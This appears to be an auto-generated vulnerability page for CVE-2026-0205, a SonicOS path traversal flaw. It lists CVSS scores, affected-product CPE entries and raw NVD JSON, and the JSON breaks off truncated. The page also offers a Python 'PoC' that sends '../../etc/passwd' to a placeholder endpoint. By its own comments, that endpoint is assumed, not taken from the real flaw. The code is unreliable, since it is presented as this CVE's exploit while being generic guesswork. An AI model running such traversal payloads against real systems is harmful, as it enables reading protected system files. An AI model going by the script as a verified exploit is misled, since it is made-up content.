Security Vulnerability Report
中文
CVE-2026-0205 CVSS 6.8 MEDIUM

CVE-2026-0205

Published: 2026-04-29 17:16:40
Last Modified: 2026-05-05 16:12:02

Description

A post-authentication Path Traversal vulnerability in SonicOS allows an attacker to interact with usually restricted services.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:o:sonicwall:sonicos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:nsa_2650:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_3600:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_3650:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_4600:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_4650:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sonicos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:sonicwall:sonicos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:nsa_2700:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_3700:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_4700:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_5700:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_6700:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sonicwall:sonicos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sonicwall:nsa_2800:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_3800:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_4800:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_5800:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:tz280:-:*:*:*:*:*:*:* - NOT VULNERABLE
SonicOS (具体受影响版本请参考厂商公告 SNWLID-2026-0004)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib3 # Suppress SSL warning for demonstration urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_poc(target_ip): # The vulnerability allows interaction with restricted services via path traversal # Example endpoint structure based on typical SonicOS vulnerabilities base_url = f"https://{target_ip}" # Path traversal payload to access a restricted service or file # Adjust the endpoint and payload based on actual vulnerability analysis traversal_payload = "../../etc/passwd" headers = { "User-Agent": "Mozilla/5.0 (Compatible; CVE-2026-0205-Scanner)", "Accept": "*/*" } try: # Sending request to the vulnerable endpoint # Assuming endpoint accepts a 'file' or 'path' parameter response = requests.get( f"{base_url}/api/vulnerable_endpoint", params={"path": traversal_payload}, headers=headers, verify=False, timeout=10 ) if response.status_code == 200 and "root:" in response.text: print(f"[+] Exploit Successful on {target_ip}") print(f"[+] Response Content:\n{response.text[:500]}") else: print(f"[-] Exploit Failed or Patched on {target_ip}") print(f"Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Connection Error: {e}") if __name__ == "__main__": target = "192.168.1.1" # Replace with actual target IP exploit_poc(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0205", "sourceIdentifier": "[email protected]", "published": "2026-04-29T17:16:40.480", "lastModified": "2026-05-05T16:12:02.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A post-authentication Path Traversal vulnerability in SonicOS allows an attacker to interact with usually restricted services."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-35"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sonicwall:sonicos:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.5.2-28n", "matchCriteriaId": "AECA7D87-803A-44ED-AD56-D609317D603A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:nsa_2650:-:*:*:*:*:*:*:*", "matchCriteriaId": "B7BCDFEE-DC5A-44B8-85DF-8BFC02B1A973"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:nsa_3600:-:*:*:*:*:*:*:*", "matchCriteriaId": "8A24BCC0-CE41-49AF-B03D-D4FCB422503B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:nsa_3650:-:*:*:*:*:*:*:*", "matchCriteriaId": "043858A6-26AC-4EB0-A240-A43AD08C6AD5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:nsa_4600:-:*:*:*:*:*:*:*", "matchCriteriaId": "8FD73880-DC60-467F-99B6-69807D58A840"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:nsa_4650:-:*:*:*:*:*:*:*", "matchCriteriaId": "73BB9452-A014-4A68-9662-63E6C60EEAD2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:nsa_5600:-:*:*:*:*:*:*:*", "matchCriteriaId": "B0CF683A-7E83-464B-8A0D-4CC641377FA6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:nsa_5650:-:*:*:*:*:*:*:*", "matchCriteriaId": "9FAAEBB4-F180-4195-BA7F-591AB02EEDC9"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:nsa_6600:-:*:*:*:*:*:*:*", "matchCriteriaId": "CD9C3F77-2F1A-4C4F-A8F8-CDBFB7B87891"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:nsa_6650:-:*:*:*:*:*:*:*", "matchCriteriaId": "676B05B2-716E-4DC4-BEE8-0E3BCCA5DB27"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sm_9200:-:*:*:*:*:*:*:*", "matchCriteriaId": "FEF2B435-957C-4BBE-937D-23E4F33189EF"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sm_9250:-:*:*:*:*:*:*:*", "matchCriteriaId": "0CE4FE75-10AD-47D4-AF87-E4C294F89EA8"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sm_9400:-:*:*:*:*:*:*:*", "matchCriteriaId": "B485C543-DFCF-4481-92B4-F7198EE4FBD1"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sm_9450:-:*:*:*:*:*:*:*", "matchCriteriaId": "928C1C0D-7AF7-4076-B5B2-207DFF3AD6A4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sm_9600:-:*:*:*:*:*:*:*", "matchCriteriaId": "F030C5AB-36CA-445E-AC87-8DEE18DBB40E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sm_9650:-:*:*:*:*:*:*:*", "matchCriteriaId": "A1F9D940-8AE2-4B92-B69D-9FF6F48DF16C"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:soho_250:-:*:*:*:*:*:*:*", "matchCriteriaId": "9FDE64E9-44DD-4B7C-BA34-FE2C79E3FAED"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:soho_250w:-:*:*:*:*:*:*:*", "matchCriteriaId": "4E8F3935-89B4-4091-9B8C-442C02FD4F3A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:sohow:-:*:*:*:*:*:*:*", "matchCriteriaId": "7268E89B-FF46-45AD-82FF-333505EF957B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:tz_300:-:*:*:*:*:*:*:*", "matchCriteriaId": "0804FADE-57F7-452F-86B3-079701059D37"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:tz_300p:-:*:*:*:*:*:*:*", "matchCriteriaId": "9956F726-6D62-4616-B60A-4D3DD6F32105"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:tz_300w:-:*:*:*:*:*:*:*", "matchCriteriaId": "29F4D403-F20A-4802-AAE9-9582486EB436"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:tz_350:-:*:*:*:*:*:*:*", "matchCriteriaId": "675F28A7-0BB3-4CDA-855E-7EFC650B512E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:tz_350w:-:*:*:*:*:*:*:*", "matchCriteriaId": "FF991212-3F2C-4F54-B96C-C33F500DB77B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:tz_400:-:*:*:*:*:*:*:*", "matchCriteriaId": "5983C650-84F6-4B2E-A27E-9E83EA1DDC02"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:tz_400w:-:*:*:*:*:*:*:*", "matchCriteriaId": "BDD4B412-7967-477F-929E-8F12A39186FF"}, {"vulnerable": false, "criteria": "cpe:2.3:h:sonicwall:tz_500:-:*:*:*:*:*:*:*", "matchCriteriaId": "A1D996FA-52D1-47C2-8 ... (truncated)